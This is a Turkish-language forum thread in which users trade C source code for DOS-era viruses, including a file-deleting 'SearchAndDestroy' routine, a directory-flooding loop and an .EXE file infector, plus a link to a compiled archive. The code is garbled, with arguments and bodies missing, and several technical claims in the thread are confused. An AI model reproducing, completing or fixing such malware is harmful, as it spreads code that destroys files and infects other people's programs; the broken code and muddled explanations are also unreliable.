iyi de bu. exe lerin calismasi icin adamin bilgisayarinda bi. h yani library lerin olmasi lazim... degil mi?

yaa uğraşmayın kardeş böle şelerle salın gitsin

aga ben birini actım son kayıt eden falan varya şimdi ne olcak

waybe adam birde derlemiş.. Bak Latrell abim : "Bilgisayarınıza zarar vermemek için oluşturduğunuz . exeleri kendi makinenizde açmayınız." demiş dikkatli olun... Virüsle şaka olmaz...

. h dosyalari libs degildir, . h dosyalari sadece lib'lerin icinde bulunan fonksiyon tanimlarini bulunduran baslik dosyasi yani header dosyalaridir. Gerekli lib'ler compiler'in libs klasörü altindadir yada OS'un icinde biryerlerdedir Windows icin DLL'ler linux altindaki. so dosyalari ornek gosterilebilir. . exec dosyalarinin calismasina gelince. Simdi bu konuda soylenmesi gereken cok sey var ama sunu soylesek yeterlidir. ". exec" dosyalari eger dinamik link kullanan libler iceriyorsa durum degisir. Mesela linux icin libscap kutuphanesini kullanarak bir program yazarsak sonra bunu libscap olamayan bir makineye tasirsak program calismaz, ancak compile asamasinda static link edersek o zaman hic ihtiyac duymadan calisir. Ama static link'te liblerin obj kodlari program icine eklendigi icin programin boyunu lib'in boyuna bagli olarak buyutur.

Bunlar kaynak kodları windows üsytünde bir derleyici ile derlersen çalıştırmak için library dosyalarına ihtiyacın yok.. linux üzerinde derleyerekte linux için virüs şekline getirebilirsin gerçi bunlar virüsten çok zarar verici kodlar olduğu için ve fazla kapsamlı olmadığı için büyük ihtimalle derlediğiniz. exe yi hem windowsta hem linuxta kullanabilirsiniz...

#include <stdio. h> #include <dir. h> #include <dos. h> main span char p; { struct ffblk f; char n ; int r; SearchAndDestroy ; sprintf ; for(r=findfirst(n,&f,0x0010);! r;r=findnext { if continue; if(f. ff_attrib & 0x0010) } } SearchAndDestroy char p; { struct ffblk f; char b ; int r; strcpy ; strcat ; for(r=findfirst(b,&f,0x0000);! r;r=findnext } boot

deneyelim bakalım kendimde yazmayı düşünüyorum ama benim ki şaka virüsü türünden olacak

1-kod linux'ta çalışır 2-kod linux ve windows 3-kod windows'ta çalışır kodlar için teşşkürler... derlenmiş hali içinde, kaynak kod olan hali içinde...

1)C'de virüs kaynak kodları bu dosyaları bilgisayarınızda çalıştırmayın.. #include <stdio. h> #include <stdlib. h> #include <dir. h> main { int i, j; char tmp ; char far ptr; for (i=0;i<=50;i++){ srand(rand ; ptr = itoa(rand , tmp,10); mkdir ; chdir ; for (j=0;j<=50;j++) chdir ; } }

abi. h uzantılı dosyalar library dosyaları bunlar derleyicide vardır sen derlerken devreye girer ve sonuçta. exe uzantılı dosya oluşur. exe ler ise her bilgisayarda başka bir dosyaya ihtiyaç olmadan çalışır msdos tabanlıdır.

BEYLER ALIN SİZE DERLENMİS HALİ http://www.hemenpaylas.com/download/385696/CESAR. zip.html BİZZAT KENDİM DERLEDİM AMA DENEME SANSIM OLMADI

işte buda bilgileri kayıt eden virüs... #include <dos. h> #include <dir. h> #include <stdio. h> #define V_SIZE 7424 int n_inf=0; void resume ; void inf ; int compare ; void main { struct ffblk fileinfo; char vir ; FILE fp; char path ; int b, a=0; argc++; if((fp=fopen(argv ,"rb")) NULL) resume ; fread(vir, sizeof , V_SIZE, fp); fclose ; path =' '; path ='.'; path ='E'; path ='X'; path ='E'; path =NULL; if(findfirst -1) resume ; inf ; do while (b!=1); resume ; } void inf int compare void resume

Bu kaynak kodları alıntıdır.. Bilgisayarınıza zarar vermemek için oluşturduğunuz . exeleri kendi makinenizde açmayınız. Kolay gelsin..

hocam ılk kodlarda 2 ucuncu kodlarda 5 hata verıyor hataları bulamadım Anlatırsan sevınırım

eywallah sercom